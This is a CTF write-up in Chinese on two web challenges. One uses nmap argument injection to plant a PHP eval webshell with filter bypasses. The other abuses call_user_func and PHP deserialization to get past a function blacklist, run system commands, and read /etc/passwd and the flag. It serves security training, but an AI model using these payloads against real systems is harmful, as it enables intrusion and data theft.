考察的是比较老的知识点了,在BUU出现过的题目,nmap命令行参数注入
详细文章:
https://blog.csdn.net/qq_26406447/article/details/100711933
访问题目,发现我们可以输入url,经过nmap扫描后会返回出结果,这里引入nmap命令中的一个参数
-oG #可以实现将命令和结果写到文件
源码大概的构造:
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
我们可以通过这种思路,拼接单引号,达到控制参数的目的,从而将我们构造的shell写入文件中
直接使用BUU题目中的payload进行测试
' -oG hack.php '
提示我们Hacker,应该存在黑名单,fuzz发现,php被过滤了,我们再次构造一下代码
' = @eval($_POST["pd"]);?> -oG pd.phtml '
这里使用“=”绕过文件中的php字符,使用“phtml”绕过对“php”文件后缀的检测,再次输入
没有提示其他黑名单信息,尝试访问我们构造的页面pd.phtml,构造shell
成功执行代码命令,获取flag
进入题目,发现右上角有时间显示,看一下POST数据包
发现传输了两个参数,抓包看一下
我们发现func参数调用了函数date(),p参数调用了函数date中填写的时间格式,我们尝试构造一下,查看能否代码执行,首先尝试读取index.php的文件
readfile("index.php");
我们构造如下语句
func=readfile&p=index.php
发现成功读取源码
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
审计一下代码,发现过滤了很多函数,但是不影响我们读取文件,同时我们发现,存在魔法函数,我们也可以通过构造反序列化代码,来达到绕过黑名单,执行system等函数的目的,尝试目录穿越读取文件
发现可以直接读取/etc/passwd下文件,但是在读取根目录下flag时,无法读出,猜测flag存在其他目录,或者flag非正常名称,我们需要构造系统命令进行目录查看,这是我们可以构造反序列化代码,在搜索tmp目录下是发现flag文件
payload:
class Test {
public $p = "ls /tmp";
public $func = "system";
}
$c=new Test();
$d=serialize($c);
echo $d;
O:4:"Test":2:{s:1:"p";s:7:"ls /tmp";s:4:"func";s:6:"system";}
构造传输代码:
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:7:"ls /tmp";s:4:"func";s:6:"system";}
即可发现目录下flag文件
使用readfile读取文件,即可获取flag